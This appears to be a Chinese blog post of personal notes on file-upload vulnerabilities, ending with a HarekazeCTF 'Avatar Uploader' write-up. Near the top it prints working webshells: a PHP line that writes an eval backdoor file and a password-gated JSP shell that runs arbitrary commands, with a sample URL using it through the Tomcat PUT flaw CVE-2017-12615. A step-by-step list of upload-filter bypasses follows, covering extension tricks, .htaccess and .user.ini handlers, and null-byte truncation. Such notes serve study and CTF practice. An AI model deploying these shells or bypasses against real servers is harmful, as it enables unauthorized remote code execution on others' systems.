upload-文件上传漏洞笔记(思路加绕过)

实例

<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?> 条件竞争,访问到会自己生成Tony.php文件
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

http://192.168.231.134:8080/5.jsp?pwd=023&i=ls Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)上传后门

upload上传思路:

  1. 先上传图片马(可以绕过JS前端防护和MIME验证)

  2. 之后先直接上传尝试(这里可能会检查文件内容是否有php字符串,<? , 和是否有文件头)

  3. 若有则进行绕过,检查php绕过(短标签绕过):<?=eval($_POST['cmd']);?> <?绕过: 文件头绕过:在文件最前面写入GIF89a

  4. 若没有则进行filename绕过,尝试特殊解析漏洞:php3,php5,phtml ; 大小写绕过:PHP,pHP; 点绕过:php.; 空格绕过:php空格;::$$DATA绕过:`shell.php::$$DATA;双后缀:shell.phphpp;单循环绕过:shell.php. .;假文件名绕过:shell.php/.

    php3
    php5
    phtml
    PHP
    PHp
    php.
    php 
    php::$$DATA
    phphpp
    php. . 
    php. .
    php . .
    php .
    php/.
    
  5. 若没有绕过就可以进行.htaccess绕过和.user.ini绕过,注:如果上传上去导致无法访问文件,请删除GIF89a重试

.htaccess绕过:

GIF89a

<FilesMatch "shell.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

.user.ini绕过:

GIF89a
auto_prepend_file=shell.jpg

注:用蚁剑或菜刀链接实路径的shell.jpg改为index.php

  1. 若这些都不能绕过,则进行白名单绕过,使用0x00截断,0x0a截断。注POST提交时%00要用URL解码或者在Hex里面将值改为00

  2. 若还不行则考虑文件包含漏洞,结合文件包含漏洞进行上传

  3. 若不行则考虑二次渲染绕过(条件竞争绕过)

  4. 最后考虑构造数组进行绕过(数组绕过)

  5. 实际中先看是否有解析漏洞(IIS,Apache,Nginx0),有的话直接绕过就行了

绝对路径拼接漏洞(os.path.join漏洞)

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

os.path.join()函数:
第一个以”/”开头的参数开始拼接,之前的参数全部丢弃,当有多个时,从最后一个开始

Apache文件上传漏洞:

  1. 低版本Apache有从右到左开始判断解析,如果右边是不可识别后缀则往左看,如shell.php.123

  2. AddHandler导致的解析漏洞

    如果服务器给.php后缀添加了处理器:AddHandler application/x-httpd-php.php
    那么,在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀,可绕过白名单过滤,如:shell.php.jpg

  3. Apache换行解析漏洞

函数

finfo_file()和getimagesize()验证文件类型的区别

finfo_file

finfo_file():通过图片的内容头进制分析图片的类型,没有检测文件内容,分析的不太全面
注:这里的内容头,拿png举例:不仅仅是最前面的png,还有别的,如:

在这里插入图片描述

getimagesize

getimagesize():通过文件头和内容,分析的比较全面,返回分析结果,以数组的形式
getimagesize()函数返回图片信息的数组
索引 0 给出的是图像宽度的像素值
索引 1 给出的是图像高度的像素值
索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
索引 bits 给出的是图像的每种颜色的位数,二进制格式
索引 channels 给出的是图像的通道值,RGB 图像默认是 3
索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header("Content-type: image/jpeg");

实例:[HarekazeCTF2019]Avatar Uploader 1

文章:[HarekazeCTF2019]Avatar Uploader 1

思路:

1.首先题目给了源码,update.php的有用,毕竟是文件上传
<?php
error_reporting(0);
 
require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');
 
$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);
 
// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
    error('No file was uploaded.');
}
 
// check file size
if ($_FILES['file']['size'] > 256000) {
    error('Uploaded file is too large.');
}
 
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);//获取文件MIME类型
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
    error('Uploaded file is not PNG format.');
}
 
// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
    error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
    // I hope this never happens...
    error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}
 
// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);
 
$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

发现只要finfo_file验证上传的文件为png,并且getimagesize验证的上传文件不为png就可以得到flag

payload

1.利用
finfo_file():通过图片的内容头进制分析图片的类型,没有检测文件内容,分析的不太全面
getimagesize():通过文件头和内容,分析的比较全面,返回分析结果,以数组的形式
这两个函数的特点
2.我们尝试删除png文件的内容,直到getimagesize检测到不是png为止,到最后只剩下了内容头,得到flag

在这里插入图片描述

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值